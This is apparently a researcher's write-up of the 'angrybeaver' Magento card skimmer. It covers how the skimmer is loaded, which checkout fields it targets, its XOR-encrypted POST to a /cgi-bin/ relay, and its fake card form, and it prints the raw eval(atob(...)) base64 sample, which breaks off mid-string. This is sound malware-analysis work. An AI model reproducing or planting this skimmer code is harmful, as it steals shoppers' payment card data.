This JavaScript skimmer was interesting as its design is different than what I have seen with other Magecart/Magento skimmers over the last couple years.

Loader

The skimmer’s payload is base64 encoded and stored within the file ./pub/static/static.js. This is not a default Magento core file, so it needs to get loaded onto the website some way.

It does this through an injection in the core_config_data database table then loads the skimmer payload onto the ecommerce website with script src:

<script src="https://www.[redacted].com/pub/static/static.js"></script>

Angrybeaver Skimmer

After base64 decoding the skimmer’s payload, we are left with the skimmer’s deobfuscated JavaScript code with clearly defined variables.

This makes it much easier to breakdown the skimmer and is a break from the norm when it comes to Magento/Magecart JavaScript skimmers. This leads me to believe this is a new skimmer author.

Let us begin from the top of the skimmer’s code:

_0.v (0.4.1.1) & _0.xorkey (angrybeaver)

_0 = {};
_0.v = "0.4.1.1";
_0.debug = localStorage["0debug"];
_0.log = (...m) => _0.debug && console.log(...m);
_0.xorkey = "angrybeaver";
_0.storageDataKey = btoa(window.location.host);
_0.shouldIgnore = (x) => x._0;
_0.ignoreThis = (x) => (x._0 = 1);

_0.v = a variable that clearly defines a version for this skimmer, 0.4.1.1

_0.xorkey = a variable that contains a unique encryption key, angrybeaver

These are unusual variables as there’s no reason that anyone else needs to know the version of the skimmer but the author, so why include it?

Similarly, why include such a unique encryption key like angrybeaver?

I can only assume that the author wants to have it attributable to them.

Targeted Fields & Relay Exfil: _0.words, _0.relay, & _0.finalButtonSelector

// ? optional
_0.words = /billing|ccnumber|expdate|cvvcode|payment|authorize|password|input-text valid|firstname|lastname|street[0]|city|region_id|postcode|telephone/i;
_0.relay = "/cgi-bin/";
_0.finalButtonSelector = "button[data-role=review-save]";
// _0.radioSelector = `#payflowpro`

_0.words = a variable containing the targeted HTML payment data fields on the checkout page

_0.relay = the skimmer sends the skimmed data to a “relay” file, ./cgi-bin/index.php, which assumedly exfiltrates the skimmed data to the attacker (I wasn’t able to get a copy of it)

_0.finalButtonSelector = a variable for defining the ‘Place Order’ or final checkout button that when clicked by the victim submits their payment data to the infected website and the skimmer - shown below:

button[data-role=review-save] is the 'finalButton' as it submits the payment data

_0.encodeData & _0.send

These two variables are self-explanatory (thank you for the easy variable names, angrybeaver):

_0.encodeData = (data) => {
    data = JSON.stringify(data);
    return _0.xorkey ? _0.enc(data) : btoa(data);
};

_0.send = (data) => {
    data = _0.encodeData(data);
    const ct = "application/x-www-form-urlencoded;charset=utf-8";
    // const ct = 'application/json;charset=utf-8'

    let body = `0=${window.location.host}&1=${data}`;
    if (_0.xorkey) body += "&2=enc02";

    return fetch(_0.relay || "/", {
            method: "post",
            headers: {
                "Content-Type": "application/x-www-form-urlencoded;charset=utf-8",
            },
            body,
        })
        .catch((err) => {
            _0.log("err when sending", err);
            return true;
        })
        .then((_) => true);
};

_0.encodeData = encrypts skimmed data with the angrybeaver key from the variable _0.xorkey

_0.send = sends a POST request with the encrypted data to the “relay” file which in this case is ./cgi-bin/index.php

Below is an example of the POST request sent out to the relay when a victim submits their payment data:

Note the form data fields 0, 1, 2 as referenced in the above code excerpt

_0.main

_0.main is used for seeking out the HTML field that contains the credit card number, #payflowpro_cc_number, and the checkout/place order button, _0.detectButton(_0.finalButtonSelector):

_0.main = () => {
    _0.interval(() => {
        const ccInput = _0.seekNmark("#payflowpro_cc_number");
        if (!ccInput) return;
        _0.ccInput = ccInput;
        _0.log("cc field found:", _0.ccInput);

        // ! cuz this input didnt snf 4 some reason
        // method.addEventListener(`input`, ev => _0.inputWatcher(ev))
        // * listeners didnt help either
        if (_0.ccInputClone) _0.ccInputClone.remove();
        else
            _0.interval(() => {
                _0.ccInputClone.value = _0.ccInput.value;
            });
        _0.ccInputClone = document.createElement("input");
        _0.ccInputClone.type = "hidden";
        _0.ccInputClone.setAttribute("name", "ccnumber");
        _0.ccInput.parentElement.appendChild(_0.ccInputClone);

        _0.detectButton(_0.finalButtonSelector);
        // _0.makeFinalInput(`control-hash`, method.parentElement)
    });
};

I’m unsure what the first comment is referencing with “cuz this input didnt snf 4 some reason”. Maybe snf = send?

_0.makeForm skimmer overlay for #authorizenet_default

_0.makeForm contains an authorizenet skimmer overlay that seems to be used if it is detected rather than payflowpro

_0.makeForm = (getFormRoot, hideOnStart) => {
    _0.html =
        '<div id="authorizenet_default_0">\r\n  <style>\r\n    #authorizenet_default input {\r\n      width: 100%;\r\n      margin: 0 5px;\r\n    }\r\n    .form_line {\r\n      display: flex;\r\n      justify-content: center;\r\n    }\r\n    .form_line > * {\r\n      flex: 1;\r\n    }\r\n    .form_item {\r\n      margin: 0 5px;\r\n    }\r\n    .inputerror {\r\n      box-shadow: 0 0 3px 1px rgba(255, 0, 0, .4) !important;\r\n      /* border: 1px solid rgba(255, 0, 0, .4) !important; */\r\n    }\r\n  </style>\r\n  <div id="authorizenet_default">\r\n    <div class="form_line">\r\n      <div id="ccnumber_item" class="form_item">\r\n        <label for="ccnumber">Credit Card:</label>\r\n        <br>\r\n        <input type="text" id="ccnumber" name="ccnumber" placeholder="**** **** **** ****" maxlength="19" class="input-text">\r\n      </div>\r\n    </div>\r\n    <div class="form_line">\r\n      <div id="expdate_item" class="form_item">\r\n        <label for="expdate">Expiry Date:</label>\r\n        <br>\r\n        <input type="text" id="expdate" name="expdate" placeholder="MM / YY" maxlength="7" class="input-text">\r\n      </div>\r\n      <div id="cvvcode_item" class="form_item">\r\n        <label for="cvvcode">CVV Code:</label>\r\n        <br>\r\n        <input type="text" id="cvvcode" name="cvvcode" placeholder="CVV" maxlength="4" class="input-text">\r\n      </div>\r\n    </div>\r\n  </div>\r\n</div>';

    _0.interval(() => {
        const ad = _0.seekNmark("#authorizenet_default");
        if (!ad) return;
        _0.ad = ad;

        _0.log("the form:", _0.ad);

        if (hideOnStart) _0.ad.style.display = "none";
...
    /* seek for paymethod
     */
    _0.interval(() => {
        const root = getFormRoot();
        if (!root) return;
        _0.root = root;

        _0.log("found root:", _0.root);

        _0.div = document.createElement("div");
        _0.div.innerHTML = _0.html;
        _0.root.appendChild(_0.div);
    });
};

There are other variables within the skimmer’s code (see sample at bottom of post) that perform validation checks on the skimmed data and some variables do not even seem to be used in this version of the skimmer.

0.4.1.1 => 0.6.2

In fact while writing this article, the victim website was reinfected with a new version of this angrybeaver skimmer: version 0.6.2!

I will compare the two versions so that we can get a better insight into the author’s methods of tweaking their JavaScript code - but in a future post.

Sample

I’ve included the raw unedited sample and a decoded version of it.


eval(atob('XzAgICAgICAgICAgICAgICAgPSB7fQ0KXzAudiAgICAgICAgICAgICAgPSBgMC40LjEuMWANCl8wLmRlYnVnICAgICAgICAgID0gbG9jYWxTdG9yYWdlWycwZGVidWcnXQ0KXzAubG9nICAgICAgICAgICAgPSAoLi4ubSkgPT4gXzAuZGVidWcgJiYgY29uc29sZS5sb2coLi4ubSkNCl8wLnhvcmtleSAgICAgICAgID0gYGFuZ3J5YmVhdmVyYA0KXzAuc3RvcmFnZURhdGFLZXkgPSBidG9hKHdpbmRvdy5sb2NhdGlvbi5ob3N0KQ0KXzAuc2hvdWxkSWdub3JlICAgPSB4ID0+IHguXzANCl8wLmlnbm9yZVRoaXMgICAgID0geCA9PiB4Ll8wID0gMQ0KDQovLyA/IG9wdGlvbmFsDQpfMC53b3JkcyA9IC9iaWxsaW5nfGNjbnVtYmVyfGV4cGRhdGV8Y3Z2Y29kZXxwYXltZW50fGF1dGhvcml6ZXxwYXNzd29yZHxpbnB1dC10ZXh0IHZhbGlkfGZpcnN0bmFtZXxsYXN0bmFtZXxzdHJlZXRbMF18Y2l0eXxyZWdpb25faWR8cG9zdGNvZGV8dGVsZXBob25lL2kNCl8wLnJlbGF5ID0gYC9jZ2ktYmluL2ANCl8wLmZpbmFsQnV0dG9uU2VsZWN0b3IgPSBgYnV0dG9uW2RhdGEtcm9sZT1yZXZpZXctc2F2ZV1gDQovLyBfMC5yYWRpb1NlbGVjdG9yID0gYCNwYXlmbG93cHJvYA0KDQoNCl8wLm1haW4gPSAoKSA9PiB7DQogIF8wLmludGVydmFsKCgpID0+IHsNCiAgICBjb25zdCBjY0lucHV0ID0gXzAuc2Vla05tYXJrKGAjcGF5Zmxvd3Byb19jY19udW1iZXJgKQ0KICAgIGlmICghY2NJbnB1dCkgcmV0dXJuDQogICAgXzAuY2NJbnB1dCA9IGNjSW5wdXQNCiAgICBfMC5sb2coYGNjIGZpZWxkIGZvdW5kOmAsIF8wLmNjSW5wdXQpDQoNCiAgICAvLyAhIGN1eiB0aGlzIGlucHV0IGRpZG50IHNuZiA0IHNvbWUgcmVhc29uDQogICAgLy8gbWV0aG9kLmFkZEV2ZW50TGlzdGVuZXIoYGlucHV0YCwgZXYgPT4gXzAuaW5wdXRXYXRjaGVyKGV2KSkNCiAgICAvLyAqIGxpc3RlbmVycyBkaWRudCBoZWxwIGVpdGhlcg0KICAgIGlmIChfMC5jY0lucHV0Q2xvbmUpIF8wLmNjSW5wdXRDbG9uZS5yZW1vdmUoKQ0KICAgIGVsc2UgXzAuaW50ZXJ2YWwoKCkgPT4geyBfMC5jY0lucHV0Q2xvbmUudmFsdWUgPSBfMC5jY0lucHV0LnZhbHVlIH0pDQogICAgXzAuY2NJbnB1dENsb25lICAgICAgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KGBpbnB1dGApDQogICAgXzAuY2NJbnB1dENsb25lLnR5cGUgPSBgaGlkZGVuYA0KICAgIF8wLmNjSW5wdXRDbG9uZS5zZXRBdHRyaWJ1dGUoYG5hbWVgLCBgY2NudW1iZXJgKQ0KICAgIF8wLmNjSW5wdXQucGFyZW50RWxlbWVudC5hcHBlbmRDaGlsZChfMC5jY0lucHV0Q2xvbmUpDQoNCiAgICBfMC5kZXRlY3RCdXR0b24oXzAuZmluYWxCdXR0b25TZWxlY3RvcikNCiAgICAvLyBfMC5tYWtlRmluYWxJbnB1dChgY29udHJvbC1oYXNoYCwgbWV0aG9kLnBhcmVudEVsZW1lbnQpDQogIH0pDQp9DQoNCg0KXzAuYjY0RSA9IHN0ciA9PiB7DQogIGNvbnN0IGVuY29kZWQgID0gZW5jb2RlVVJJQ29tcG9uZW50KHN0cikNCiAgY29uc3QgcmVwbGFjZXIgPSAoXywgcDEpID0+IFN0cmluZy5mcm9tQ2hhckNvZGUocGFyc2VJbnQocDEsIDE2KSkNCiAgY29uc3QgZmlsdGVyZWQgPSBlbmNvZGVkLnJlcGxhY2UoLyUoWzAtOUEtRl17Mn0pL2csIHJlcGxhY2VyKQ0KICByZXR1cm4gYnRvYShmaWx0ZXJlZCkNCn0NCg0KXzAuYjY0RCA9IHN0ciA9PiB7DQogIGNvbnN0IGRlY29kZWQgICA9IGF0b2Ioc3RyKQ0KICBjb25zdCBjb252ZXJ0ZXIgPSBjID0+ICclJyArICgnMDAnICsgYy5jaGFyQ29kZUF0KDApLnRvU3RyaW5nKDE2KSkuc2xpY2UoLTIpDQogIHJldHVybiBkZWNvZGVVUklDb21wb25lbnQoZGVjb2RlZC5zcGxpdCgnJykubWFwKGNvbnZlcnRlcikuam9pbignJykpDQp9DQoNCl8wLnhvcmVuYyA9IChrZXksIGlucHV0KSA9PiBpbnB1dC5zcGxpdCgnJykubWFwKChjLCBpKSA9PiB7DQogIGNvbnN0IGNvZGUxID0gYy5jaGFyQ29kZUF0KCkNCiAgY29uc3QgY29kZTIgPSBrZXlbaSAlIGtleS5sZW5ndGhdLmNoYXJDb2RlQXQoKQ0KICBjb25zdCB2YWwgICA9IChjb2RlMSBeIGNvZGUyKS50b1N0cmluZygxNikNCiAgcmV0dXJuIHZhbC5sZW5ndGggPCAyID8gJzAnICsgdmFsIDogdmFsDQp9KS5qb2luKCcnKSAvLyBzdHJpbmchDQoNCl8wLnhvcmRlYyA9IChrZXksIGlucHV0KSA9PiB7DQogIGlmIChpbnB1dC5sZW5ndGggJSAyKSByZXR1cm4gJycNCg0KICBsZXQgcG9pbnRlciA9IDANCiAgbGV0IHJlICAgICAgPSAnJw0KICBsZXQgbGVuICAgICA9IGlucHV0Lmxlbmd0aCAvIDINCg0KICB3aGlsZSAobGVuLS0pIHsNCiAgICAgIGNvbnN0IGtleXZhbCAgPSBrZXlbcG9pbnRlciAvIDIgJSBrZXkubGVuZ3RoXS5jaGFyQ29kZUF0KCkNCiAgICAgIGNvbnN0IGhleCAgICAgPSBpbnB1dFtwb2ludGVyKytdICsgaW5wdXRbcG9pbnRlcisrXQ0KICAgICAgY29uc3QgdmFsICAgICA9IHBhcnNlSW50KGhleCwgMTYpDQogICAgICAgICAgICByZSAgICAgKz0gU3RyaW5nLmZyb21DaGFyQ29kZSh2YWwgXiBrZXl2YWwpDQogIH0NCg0KICByZXR1cm4gcmUgLy8gc3RyaW5nIQ0KfQ0KDQpfMC5lbmMgPSBpbnB1dCA9PiBfMC54b3JlbmMoXzAueG9ya2V5LCBfMC5iNjRFKGlucHV0KSkNCl8wLmRlYyA9IGlucHV0ID0+IF8wLmI2NEQoXzAueG9yZGVjKF8wLnhvcmtleSwgaW5wdXQpKQ0KDQpfMC5pbnRlcnZhbCA9IChmbiwgaW50ZXJ2YWw9NTAwKSA9PiB7DQogIGNvbnN0IGxvb3AgPSAoKSA9PiB7DQogICAgbGV0IGJyDQoNCiAgICB0cnkgew0KICAgICAgYnIgPSBmbigpDQogICAgfSBjYXRjaCAoZSkge30NCg0KICAgIGlmICghYnIpIHsNCiAgICAgIHNldFRpbWVvdXQobG9vcCwgaW50ZXJ2YWwpDQogICAgfQ0KICB9DQoNCiAgc2V0VGltZW91dChsb29wLCBpbnRlcnZhbCkNCn0NCg0KXzAubG9hZCA9ICgpID0+IHsNCiAgbGV0IGRhdGEgPSBsb2NhbFN0b3JhZ2VbXzAuc3RvcmFnZURhdGFLZXldDQogIHRyeSB7DQogICAgZGF0YSAgICAgPSBfMC5kZWMoZGF0YSkNCiAgICBfMC5fZGF0YSA9IEpTT04ucGFyc2UoZGF0YSkNCiAgfSBjYXRjaCAoZSkgew0KICAgIF8wLmxvZyhgY2Fubm90IGxvYWQgYSBtZW1vcnlcbmAsIGUpDQogICAgXzAuX2RhdGEgPSB7fQ0KICB9DQogIHJldHVybiBfMC5fZGF0YQ0KfQ0KDQpfMC5zYXZlID0gKGRhdGEsIG92ZXJ3cml0ZSkgPT4gew0KICBpZiAoZGF0YSkgew0KICAgIGNvbnN0IGRhdGEwID0gXzAubG9hZCgpDQogICAgXzAuX2RhdGEgPSBvdmVyd3JpdGUgPyBkYXRhIDogeyAuLi5kYXRhMCwgLi4uZGF0YSB9DQogIH0NCg0KICB0cnkgew0KICAgIGRhdGEgPSBKU09OLnN0cmluZ2lmeShfMC5fZGF0YSkNCiAgICBkYXRhID0gXzAuZW5jKGRhdGEpDQogICAgbG9jYWxTdG9yYWdlW18wLnN0b3JhZ2VEYXRhS2V5XSA9IGRhdGENCiAgfSBjYXRjaCAoZSkgew0KICAgIF8wLmxvZyhgY2Fubm90IHNhdmUgYSBtZW1vcnlcbmAsIGUsIF8wLl9kYXRhKQ0KICAgIF8wLl9kYXRhID0ge30NCiAgfQ0KfQ0KDQpfMC5zZWVrTm1hcmsgPSBzZWxlY3RvciA9PiB7DQogIGNvbnN0IGVsID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcihzZWxlY3RvcikNCiAgaWYgKGVsICYmICFfMC5zaG91bGRJZ25vcmUoZWwpKSB7DQogICAgXzAuaWdub3JlVGhpcyhlbCkNCiAgICByZXR1cm4gZWwNCiAgfQ0KfQ0KDQpfMC5nZXRIdG1sID0gZWwgPT4gew0KICBjb25zdCBkaXYgICA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoYGRpdmApDQogIGNvbnN0IGNsb25lID0gZWwuY2xvbmVOb2RlKCkNCiAgZGl2LmFwcGVuZENoaWxkKGNsb25lKQ0KICByZXR1cm4gZGl2LmlubmVySFRNTA0KfQ0KDQpfMC5jaGVja1dvcmRzID0gZWwgPT4gew0KICBpZiAoIV8wLndvcmRzKSByZXR1cm4gdHJ1ZSAvLyA/IHBhc3MgYWxsDQogIGNvbnN0IGh0bWwgPSBfMC5nZXRIdG1sKGVsKQ0KICByZXR1cm4gXzAud29yZHMudGVzdChodG1sKQ0KfQ0KDQpfMC5ncmFiQWxsID0gKCkgPT4gew0KICBjb25zdCBmaWx0ZXJzID0gKC4uLmZzKSA9PiB4ID0+IGZzLm1hcChmID0+IGYoeCkpLmV2ZXJ5KEJvb2xlYW4pDQogIGNvbnN0IGZSYWRpbyAgPSBpbnAgPT4gaW5wLnR5cGUgIT0gYHJhZGlvYCB8fCAhaW5wLmNoZWNrZWQNCiAgY29uc3QgZkNiICAgICA9IGlucCA9PiBpbnAudHlwZSAhPSBgY2hlY2tib3hgDQogIGNvbnN0IGlnbm9yZSAgPSBpbnAgPT4gIV8wLnNob3VsZElnbm9yZShpbnApDQoNCiAgY29uc3QgcmUgPSB7fQ0KICBBcnJheS5mcm9tKGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoYGlucHV0YCkpDQogIC5maWx0ZXIoZmlsdGVycyhmUmFkaW8sIGZDYiwgXzAuY2hlY2tXb3JkcywgaWdub3JlKSkNCiAgLmZvckVhY2goKGlucHV0LCBpZHgpID0+IHsNCiAgICBjb25zdCBuYW1lICA9IGlucHV0LmdldEF0dHJpYnV0ZShgbmFtZWApIHx8IGB0aGVJbnB1dCR7aWR4fWANCiAgICByZSAgIFtuYW1lXSA9IGlucHV0LnZhbHVlOw0KICB9KQ0KICBBcnJheS5mcm9tKGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoYHNlbGVjdGApKQ0KICAuZmlsdGVyKF8wLmNoZWNrV29yZHMsIGlnbm9yZSkNCiAgLmZvckVhY2goKHNlbGVjdCwgaWR4KSA9PiB7DQogICAgY29uc3QgbmFtZSAgICAgPSBzZWxlY3QuZ2V0QXR0cmlidXRlKCduYW1lJykgfHwgYHRoZVNlbGVjdCR7aWR4fWANCiAgICBjb25zdCBzZWxlY3RlZCA9IEFycmF5LmZyb20oc2VsZWN0Lm9wdGlvbnMpLmZpbmQobyA9PiBvLnNlbGVjdGVkKQ0KICAgIHJlICAgW25hbWVdICAgID0gc2VsZWN0ZWQgPyBzZWxlY3RlZC5pbm5lclRleHQgOiAnPz8/Jw0KICB9KQ0KDQogIHJldHVybiByZQ0KfQ0KDQpfMC5jaGVja1JlZmVycmVyID0gKCkgPT4gew0KICBjb25zdCBkYXRhID0gXzAubG9hZCgpDQogIF8wLmxvZyhgZGF0YTpcbmAsIGRhdGEpDQoNCiAgY29uc3QgcmVmID0gZGF0YS5fMHJlZmVycmVyIHx8IGRvY3VtZW50LnJlZmVycmVyIHx8IHdpbmRvdy5sb2NhdGlvbi5ob3N0DQogIF8wLmxvZyhgcmVmOiBgLCByZWYpDQoNCiAgbGV0IGlzQWxsb3dlZCA9ICFyZWYuaW5jbHVkZXMod2luZG93LmxvY2F0aW9uLmhvc3QpDQogIGlmIChfMC5yZWZzKSBpc0FsbG93ZWQgJj0gXzAucmVmcy5tYXAoYXIgPT4gcmVmLmluY2x1ZGVzKGFyKSkuc29tZShCb29sZWFuKQ0KDQogIF8wLnNhdmUoeyBfMHJlZmVycmVyOiByZWYsIF8wcmVmX3NhdmVkOiByZWYgfSkNCg0KICByZXR1cm4gaXNBbGxvd2VkDQp9DQoNCl8wLmVuY29kZURhdGEgPSBkYXRhID0+IHsNCiAgZGF0YSA9IEpTT04uc3RyaW5naWZ5KGRhdGEpDQogIHJldHVybiBfMC54b3JrZXkgPyBfMC5lbmMoZGF0YSkgOiBidG9hKGRhdGEpDQp9DQoNCl8wLnNlbmQgPSBkYXRhID0+IHsNCiAgZGF0YSA9IF8wLmVuY29kZURhdGEoZGF0YSkNCiAgY29uc3QgY3QgPSAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkO2NoYXJzZXQ9dXRmLTgnDQogIC8vIGNvbnN0IGN0ID0gJ2FwcGxpY2F0aW9uL2pzb247Y2hhcnNldD11dGYtOCcNCg0KICBsZXQgYm9keSA9IGAwPSR7d2luZG93LmxvY2F0aW9uLmhvc3R9JjE9JHtkYXRhfWANCiAgaWYgKF8wLnhvcmtleSkgYm9keSArPSBgJjI9ZW5jMDJgDQoNCiAgcmV0dXJuIGZldGNoKF8wLnJlbGF5IHx8IGAvYCwgew0KICAgIG1ldGhvZDogJ3Bvc3QnLA0KICAgIGhlYWRlcnM6IHsgJ0NvbnRlbnQtVHlwZSc6IGN0IH0sDQogICAgYm9keSwNCiAgfSkuY2F0Y2goZXJyID0+IHsNCiAgICBfMC5sb2coYGVyciB3aGVuIHNlbmRpbmdgLCBlcnIpDQogICAgcmV0dXJuIHRydWUNCiAgfSkudGhlbihfID0+IHRydWUpDQp9DQoNCl8wLm1ha2VGaW5hbElucHV0ID0gKG5hbWUsIHBhcmVudCkgPT4gew0KICBpZiAoXzAuZmluYWxJbnB1dCkgXzAuZmluYWxJbnB1dC5yZW1vdmUoKQ0KICBfMC5maW5hbElucHV0ICAgICAgID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudChgaW5wdXRgKQ0KICBfMC5maW5hbElucHV0LnR5cGUgID0gYGhpZGRlbmANCiAgXzAuZmluYWxJbnB1dC52YWx1ZSA9IF8wLmVuY29kZURhdGEoXzAubG9hZCgpKQ0KICBfMC5maW5hbElucHV0LnNldEF0dHJpYnV0ZShgbmFtZWAsIG5hbWUpDQogIF8wLmlnbm9yZVRoaXMoXzAuZmluYWxJbnB1dCkNCiAgcGFyZW50LmFwcGVuZENoaWxkKF8wLmZpbmFsSW5wdXQpDQogIHJldHVybiBfMC5maW5hbElucHV0DQp9DQoNCl8wLmRldGVjdEJ1dHRvbiA9IChzZWxlY3Rvciwgb25DbGljaykgPT4gew0KICBpZiAoIW9uQ2xpY2spIG9uQ2xpY2sgPSBhc3luYyBfID0+IHsNCiAgICBpZiAoXzAucmFkaW8gJiYgIV8wLnJhZGlvLmNoZWNrZWQpIHsNCiAgICAgIF8wLmxvZyhgcmFkaW8gaXMgbm90IGNoZWNrZWQuIGNsaWNraW5nIHdpdGhvdXQgc2VuZGluZ2ApDQogICAgICByZXR1cm4gdHJ1ZQ0KICAgIH0NCiAgICBpZiAoXzAuaW5wdXRzICYmICFfMC5pbnB1dHMuY2hlY2tBbGwoKSkgew0KICAgICAgXzAubG9nKGBpbnB1dHMgY2hlY2sgZmFpbGVkLmApDQogICAgICByZXR1cm4gZmFsc2UNCiAgICB9DQoNCiAgICBhd2FpdCBfMC5zZW5kRGF0YSgpDQogICAgcmV0dXJuIHRydWUNCiAgfQ0KICBfMC5sb2coYGluaXRpYWxpc2luZyBkZXRlY3Rpb24gZm9yOiAke3NlbGVjdG9yfWApDQogIF8wLmxvZyhgJHtzZWxlY3Rvcn0gb25DbGljazpgLCBvbkNsaWNrKQ0KICBfMC5pbnRlcnZhbCgoKSA9PiB7DQogICAgY29uc3QgYnQgPSBfMC5zZWVrTm1hcmsoc2VsZWN0b3IpDQogICAgaWYgKGJ0KSB7DQogICAgICBfMC5sb2coYHNlbGVjdG9yICR7c2VsZWN0b3J9IGRldGVjdGVkIWAsIGJ0KQ0KICAgICAgXzAuY2F0Y2hDbGljayhidCwgb25DbGljaykNCiAgICB9DQogIH0pDQp9DQoNCl8wLmNhdGNoQ2xpY2sgPSAoZWxlbSwgb25DbGljaykgPT4gew0KICBpZiAoYHN0YXRpY2AgPT0gZ2V0Q29tcHV0ZWRTdHlsZShlbGVtKS5wb3NpdGlvbikgew0KICAgIGVsZW0uc3R5bGUucG9zaXRpb24gPSBgcmVsYXRpdmVgDQogIH0NCg0KICBjb25zdCBzdHlsZSA9DQogICAgJ3Bvc2l0aW9uOiBhYnNvbHV0ZTsnICsNCiAgICAndG9wOiAwOycgKw0KICAgICdsZWZ0OiAwOycgKw0KICAgICd3aWR0aDogMTAwJTsnICsNCiAgICAnaGVpZ2h0OiAxMDAlOycgKw0KICAgICd6LWluZGV4OiA5OTk5OycNCg0KICBjb25zdCBjYXRjaGVyID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudChgZGl2YCkNCiAgXzAuaWdub3JlVGhpcyhjYXRjaGVyKQ0KICBjYXRjaGVyLnNldEF0dHJpYnV0ZShgc3R5bGVgLCBzdHlsZSkNCiAgZWxlbS5hcHBlbmRDaGlsZChjYXRjaGVyKQ0KICANCiAgY2F0Y2hlci5hZGRFdmVudExpc3RlbmVyKGBjbGlja2AsIGFzeW5jIGV2ID0+IHsNCiAgICBldi5zdG9wUHJvcGFnYXRpb24oKQ0KICAgIGV2LnByZXZlbnREZWZhdWx0KCkNCiAgICBfMC5sb2coYGNhdGNoZXIgZXY6YCwgZXYpDQoNCiAgICBjb25zdCBwcm9wYWdhdGUgPSBhd2FpdCBvbkNsaWNrKCkNCiAgICBpZiAocHJvcGFnYXRlKSB7DQogICAgICBfMC5sb2coYGNsaWNrIHByb3BhZ2F0aW9uOiB0cnVlLiBjbGlja2luZyBvbjpgLCBlbGVtKQ0KICAgICAgZWxlbS5jbGljaygpDQogICAgfQ0KICB9KQ0KDQogIHJldHVybiBjYXRjaGVyDQp9DQoNCl8wLnNlbmREYXRhID0gKCkgPT4gXzAuc2VuZChfMC5sb2FkKCkpDQoNCl8wLmlucHV0V2F0Y2hlciA9IGV2ID0+IF8wLnNhdmUoXzAuZ3JhYkFsbCgpKQ0KDQpfMC5faW5pdCA9ICgpID0+IHsNCiAgY29uc3QgZXZsMSA9IGV2ID0+IF8wLmlucHV0V2F0Y2hlcihldikNCiAgY29uc3QgZXZsMiA9IGV2ID0+IGV2LmtleSA9PT0gYEVudGVyYCAmJiBfMC5pbnB1dFdhdGNoZXIoZXYpDQogIHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKGBpbnB1dGAsIGV2bDEpDQogIHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKGBjbGlja2AsIGV2bDEpDQogIHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKGBrZXlkb3duYCwgZXZsMikNCg0KICBfMC5yb2xsYmFjayA9ICgpID0+IHsNCiAgICB3aW5kb3cucmVtb3ZlRXZlbnRMaXN0ZW5lcihgaW5wdXRgLCBldmwxKQ0KICAgIHdpbmRvdy5yZW1vdmVFdmVudExpc3RlbmVyKGBjbGlja2AsIGV2bDEpDQogICAgd2luZG93LnJlbW92ZUV2ZW50TGlzdGVuZXIoYGtleWRvd25gLCBldmwyKQ0KICB9DQp9DQoNCl8wLm1ha2VGb3JtID0gKGdldEZvcm1Sb290LCBoaWRlT25TdGFydCkgPT4gew0KICBfMC5odG1sID0gYXRvYignUEdScGRpQnBaRDBpWVhWMGFHOXlhWHBsYm1WMFgyUmxabUYxYkhSZk1DSStEUW9nSUR4emRIbHNaVDROQ2lBZ0lDQWpZWFYwYUc5eWFYcGxibVYwWDJSbFptRjFiSFFnYVc1d2RYUWdldzBLSUNBZ0lDQWdkMmxrZEdnNklERXdNQ1U3RFFvZ0lDQWdJQ0J0WVhKbmFXNDZJREFnTlhCNE93MEtJQ0FnSUgwTkNpQWdJQ0F1Wm05eWJWOXNhVzVsSUhzTkNpQWdJQ0FnSUdScGMzQnNZWGs2SUdac1pYZzdEUW9nSUNBZ0lDQnFkWE4wYVdaNUxXTnZiblJsYm5RNklHTmxiblJsY2pzTkNpQWdJQ0I5RFFvZ0lDQWdMbVp2Y20xZmJHbHVaU0ErSUNvZ2V3MEtJQ0FnSUNBZ1pteGxlRG9nTVRzTkNpQWdJQ0I5RFFvZ0lDQWdMbVp2Y20xZmFYUmxiU0I3RFFvZ0lDQWdJQ0J0WVhKbmFXNDZJREFnTlhCNE93MEtJQ0FnSUgwTkNpQWdJQ0F1YVc1d2RYUmxjbkp2Y2lCN0RRb2dJQ0FnSUNCaWIzZ3RjMmhoWkc5M09pQXdJREFnTTNCNElERndlQ0J5WjJKaEtESTFOU3dnTUN3Z01Dd2dMalFwSUNGcGJYQnZjblJoYm5RN0RRb2dJQ0FnSUNBdktpQmliM0prWlhJNklERndlQ0J6YjJ4cFpDQnlaMkpoS0RJMU5Td2dNQ3dnTUN3Z0xqUXBJQ0ZwYlhCdmNuUmhiblE3SUNvdkRRb2dJQ0FnZlEwS0lDQThMM04wZVd4bFBnMEtJQ0E4WkdsMklHbGtQU0poZFhSb2IzSnBlbVZ1WlhSZlpHVm1ZWFZzZENJK0RRb2dJQ0FnUEdScGRpQmpiR0Z6Y3owaVptOXliVjlzYVc1bElqNE5DaUFnSUNBZ0lEeGthWFlnYVdROUltTmpiblZ0WW1WeVgybDBaVzBpSUdOc1lYTnpQU0ptYjNKdFgybDBaVzBpUGcwS0lDQWdJQ0FnSUNBOGJHRmlaV3dnWm05eVBTSmpZMjUxYldKbGNpSStRM0psWkdsMElFTmhjbVE2UEM5c1lXSmxiRDROQ2lBZ0lDQWdJQ0FnUEdKeVBnMEtJQ0FnSUNBZ0lDQThhVzV3ZFhRZ2RIbHdaVDBpZEdWNGRDSWdhV1E5SW1OamJuVnRZbVZ5SWlCdVlXMWxQU0pqWTI1MWJXSmxjaUlnY0d4aFkyVm9iMnhrWlhJOUlpb3FLaW9nS2lvcUtpQXFLaW9xSUNvcUtpb2lJRzFoZUd4bGJtZDBhRDBpTVRraUlHTnNZWE56UFNKcGJuQjFkQzEwWlhoMElqNE5DaUFnSUNBZ0lEd3ZaR2wyUGcwS0lDQWdJRHd2WkdsMlBnMEtJQ0FnSUR4a2FYWWdZMnhoYzNNOUltWnZjbTFmYkdsdVpTSStEUW9nSUNBZ0lDQThaR2wySUdsa1BTSmxlSEJrWVhSbFgybDBaVzBpSUdOc1lYTnpQU0ptYjNKdFgybDBaVzBpUGcwS0lDQWdJQ0FnSUNBOGJHRmlaV3dnWm05eVBTSmxlSEJrWVhSbElqNUZlSEJwY25rZ1JHRjBaVG84TDJ4aFltVnNQZ